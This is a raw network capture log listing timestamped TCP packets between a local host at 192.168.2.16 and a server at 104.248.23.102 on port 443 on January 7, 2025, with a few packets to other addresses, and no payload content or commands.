Jan 7, 2025 14:48:49.644273996 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.644356966 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.644615889 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.644692898 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.644731998 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.654547930 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654575109 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654586077 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654611111 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654623032 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654633045 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654690981 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.654715061 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.654747009 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.654771090 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.656280994 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.656318903 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.656357050 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.656363964 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.656393051 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.671329975 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.691345930 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.694289923 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.694304943 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.710274935 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.742238998 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.743520975 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.743531942 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.743570089 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.743602991 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.743616104 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.743669987 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.743685961 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.743726969 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.744690895 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.744699001 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.744726896 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.744762897 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.744769096 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.744798899 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.744805098 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.744849920 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.745115042 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.745129108 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.748018026 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.748058081 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:49.748136044 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.748373985 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:49.748393059 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.071439981 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.071465015 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.071554899 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.071589947 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.072452068 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.072467089 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.072479010 CET	443	49741	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.072514057 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.072560072 CET	49741	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078196049 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078223944 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.078311920 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078454971 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078502893 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.078572989 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078666925 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078680992 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.078799009 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.078811884 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.221688986 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.221739054 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.221879959 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.222182989 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.222193956 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.645973921 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.645999908 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.646008015 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.646033049 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.646049023 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.646054983 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.646063089 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.646083117 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.646121025 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.647262096 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.647511959 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.647546053 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.647887945 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.648194075 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.648260117 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.648341894 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.652436018 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.652473927 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.652482033 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.652493000 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.652501106 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.652518988 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.652534008 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.672451973 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.672470093 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.672560930 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.672579050 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.672755003 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.676960945 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.676975965 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.677047968 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.677057981 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.680685043 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.680701971 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.680768967 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.680782080 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.682607889 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.682621002 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.682686090 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.682696104 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.691338062 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.699990988 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.700257063 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.700268984 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.700597048 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.700985909 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.701050997 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.701057911 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.709206104 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.709399939 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.709412098 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.709747076 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.710078955 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.710170031 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.710180044 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.732212067 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.747255087 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.747263908 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.755320072 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.763240099 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779196978 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779206038 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779242992 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779273987 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779378891 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779378891 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779409885 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779426098 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779448986 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779453039 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779463053 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779474974 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779485941 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779510975 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779520988 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779548883 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.779558897 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.779587030 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.780175924 CET	49740	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.780201912 CET	443	49740	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.811275959 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:50.864067078 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.864346981 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.864375114 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.865411043 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.865483046 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.865768909 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.865825891 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.865947008 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:50.865953922 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:50.907268047 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.098211050 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.098236084 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.098337889 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.098357916 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.098408937 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.098700047 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.098766088 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.098812103 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.099121094 CET	49744	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.099138021 CET	443	49744	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.101998091 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.102020979 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.102092028 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.102333069 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.102346897 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.112787008 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.112819910 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.112893105 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.113121033 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.113133907 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.147336006 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:48:51.150336981 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.150352001 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.150440931 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.150873899 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.150885105 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.162683010 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.162724972 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.162853003 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.163047075 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.163062096 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.258635044 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.258668900 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.258766890 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.258780003 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.259187937 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.259246111 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.259716988 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.259726048 CET	443	49743	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.259737015 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.259768963 CET	49743	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.349821091 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.349842072 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.349855900 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.349981070 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.349998951 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.350049973 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.351651907 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.351686001 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.351722956 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.351731062 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.351767063 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.401335001 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.423862934 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.424102068 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.424124002 CET	443	49745	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.424185991 CET	49745	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.439327002 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.439346075 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.439414978 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.439431906 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.439482927 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.440053940 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.440089941 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.440129995 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.440130949 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.440161943 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.440198898 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.440500975 CET	49742	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.440516949 CET	443	49742	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.739052057 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.739378929 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.739398003 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.739746094 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.740067959 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.740135908 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.740219116 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.783334970 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.787168026 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.787487030 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.787512064 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.787864923 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.788172007 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.788240910 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.788360119 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.794565916 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.794838905 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.794859886 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.795953989 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.796036959 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.796305895 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.796370983 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.796448946 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.796457052 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.796513081 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.796530962 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.813476086 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.813740015 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.813755035 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.814795971 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.814877987 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.815890074 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.815958023 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.816014051 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.831332922 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.846278906 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.862273932 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:51.862286091 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:51.910248041 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.217317104 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.217336893 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.217420101 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.217449903 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.217489004 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.217525005 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.217591047 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.217626095 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.218425035 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.218446016 CET	443	49746	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.218462944 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.218487978 CET	49746	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.299005032 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.299124956 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.299245119 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.299722910 CET	49748	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.299740076 CET	443	49748	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.322590113 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.322604895 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.322696924 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.322923899 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.322936058 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.578268051 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:52.651103020 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.651242018 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.651297092 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.651705027 CET	49749	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.651716948 CET	443	49749	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.738369942 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.738395929 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.738411903 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.738466024 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.738488913 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.738519907 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.738539934 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.739212990 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.739275932 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.739320040 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.739326000 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.739339113 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.785270929 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.827913046 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.827939987 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.828006029 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.828017950 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.828063011 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.831526995 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.831547022 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.831602097 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.831603050 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.831619024 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.831650019 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.831657887 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.832443953 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.832467079 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.832500935 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.832511902 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.832529068 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.832551003 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.833353996 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.833373070 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.833420038 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.833425999 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.833450079 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.833477020 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.923048019 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.923069954 CET	443	49747	104.248.23.102	192.168.2.16
